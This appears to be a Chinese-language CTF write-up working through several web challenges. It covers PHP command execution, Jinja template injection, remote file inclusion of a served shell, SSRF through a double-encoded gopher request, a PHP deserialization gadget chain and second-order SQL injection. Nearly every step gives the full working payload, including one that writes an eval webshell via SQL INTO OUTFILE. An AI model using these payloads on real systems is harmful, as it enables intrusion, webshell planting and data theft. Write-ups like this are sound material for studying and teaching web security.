hello_rce

查看当前目录:
php
print_r(scandir('.'));
print_r(scandir(dirname(__FILE__)));

查看flag文件:
php
call_user_func('passthru','base64${IFS}flag');
call_user_func('passthru','tac${IFS}flag');

新东西

输入:
{{lipsum.globals .os.popen('ls').read()}}

输入:
{{lipsum.globals.os.popen('ls /').read()}}

输入:
{{lipsum.globals .os.popen('cat /flag').read()}}

让我看看


连接肉机
ssh root@172.16.17.201 -p 50101

打开心怡的文件夹

echo '<?php phpinfo() ?>' > shell

ifconfig或ip add


查到内网中本机ip是172.1.1.9
用python打开9000端口
python3 -m http.server 9000
尝试远程包含


ip转十六进制
172.1.1.9->0xac010109
包含文件:http://0xac010109:9000/ashell

网页源码查看器
输入:dict://127.0.0.1:6379/info
file:///var/www/html/index.php


都被过滤了
输入127.0.0.1

扫网站:

访问/internal.php

输入:
127.0.0.1/internal.php和/db.php


db.php似乎可以用,创建html文件

似乎可以用这个和sql数据库交流
得到MYSQL的信息
发送:
gopher://127.0.0.1:3306/_a

返回报错
说明gopher协议有戏
bp抓包,输入payload:
gopher%3a//127.0.0.1%3a80/_POST%2520/db.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252074%250D%250A%250D%250Asql%253Dselect%2520'%253C%253Fphp%2520%2540eval(%2524_POST%255B8%255D)%253B%253F%253E'%2520INTO%2520OUTFILE%2520'%252Fvar%252Fwww%252Fhtml%252F10.php'%250D%250A
这个payload被进行了两次url编码:
原本的包:
bash
gopher://127.0.0.1:80/_POST /db.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
sql=select '<?php @eval($_POST[8]);?>' INTO OUTFILE '/var/www/html/10.php'
第一次编码后:
bash
gopher://127.0.0.1:80/_POST%20/db.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2074%0D%0A%0D%0Asql%3Dselect%20'%3C%3Fphp%20%40eval(%24_POST%5B8%5D)%3B%3F%3E'%20INTO%20OUTFILE%20'%2Fvar%2Fwww%2Fhtml%2F10.php'%0D%0A
再编码一次得到目标payload
原因:
第一次URL将URL中的特殊字符进行转义,以便于传输和解析。
第二次编码是为了让Gopher协议能够正常解析,因为Gopher协议使用的ASCII编码。需要将URL中的所有字符都转换为ASCII码的可打印字符,才能被Gopher协议正确解析。
直接10.php连接蚁剑

你已急哭
php
<?php
error_reporting(0);
highlight_file(__FILE__);
class Entry {
public $handler;
public function __destruct() {
if (isset($this->handler)) {
echo "你已急哭";
$result = $this->handler->handle();
echo $result;
}
}
}
class Processor {
public $callback;
public $argument;
public function handle() {
if (is_object($this->callback)) {
echo "哟,不错嘛";
$result = ($this->callback)($this->argument);
return $result;
}
echo "Processor::handle() callback不是对象!";
return "Invalid handler!";
}
}
class FileReader {
public $filename;
public function __invoke($arg) {
echo "加油啊,终点就在前方了!";
if ($this->filename === "/f1ag.php") {
echo "666,这还说啥了,flag给你了。";
$flag = getenv('FLAG');
echo "Flag: " . $flag . "";
return "";
} else if (file_exists($this->filename)) {
echo "文件存在,但不是目标文件...";
return file_get_contents($this->filename);
}
echo "文件不存在!";
return "File not found!";
}
}
class Logger {
public $logfile;
public $content;
public function __toString() {
return "Logger output!";
}
public function handle() {
return "Logger handler!";
}
}
if (isset($_GET['data'])) {
$data = $_GET['data'];
if (strlen($data) > 1000) {
die("[-] Payload太长!");
}
unserialize($data);
} else {
echo "提交方式: ?data=你的payload";
}
//Hint: 目标文件路径是 /f1ag.php
- Entry 类
__destruct() 魔术方法:对象销毁时自动调用
检查 this-\>handler 是否存在,存在则调用 this->handler->handle() - Processor 类
handle() 方法:检查 this−>callback是否为对象,如果是则将其作为函数调用(this->callback 是否为对象,如果是则将其作为函数调用 (this−>callback是否为对象,如果是则将其作为函数调用(this->callback)($this->argument) - FileReader 类
__invoke() 魔术方法:对象被当作函数调用时触发
关键逻辑:如果 $this->filename === "/f1ag.php",则输出环境变量 FLAG - Logger 类
干扰类,没有利用价值
思路:
bash
销毁unserialize($data);触发__destruct()
$handler=Processor
$result = $this->handler->handle();echo $result;对象被当函数调用,调用handle()
$callback=FileReader;$argument=null
$result = ($this->callback)($this->argument);return $result;调用FileReader()
触发__invoke($arg)
关键在于$filename=/f1ag.php,所以arg是什么不重要
?data=O:5:"Entry":1:{s:7:"handler";O:9:"Processor":2:{s:8:"callback";O:10:"FileReader":1:{s:8:"filename";s:9:"/f1ag.php";};s:8:"argument";s:3:"arg";}}
?data=O%3A5%3A%22Entry%22%3A1%3A%7Bs%3A7%3A%22handler%22%3BO%3A9%3A%22Processor%22%3A2%3A%7Bs%3A8%3A%22callback%22%3BO%3A10%3A%22FileReader%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A9%3A%22%2Ff1ag.php%22%3B%7D%3Bs%3A8%3A%22argument%22%3Bs%3A3%3A%22arg%22%3B%7D%7D

Shadow Archive System
创建
username:1'
Bio:1'

ID查看3

报错,说明二次注入有戏
创建
Username: 1' select 1,2,3#
Bio: 123
并访问:

创建
Username: 1' union select 1,2#
Bio: 123
并查询

确定列数
创建并打开
Username: 1' union select 1,2,database()#
Bio: 123

创建并打开
Username: 1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema like database()#
Bio: 123

创建并打开
Username: 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name like 'flags'#
Bio: 123

创建并打开
Username: 1' union select 1,2,group_concat(flag) from ctf.flags#
Bio: 123
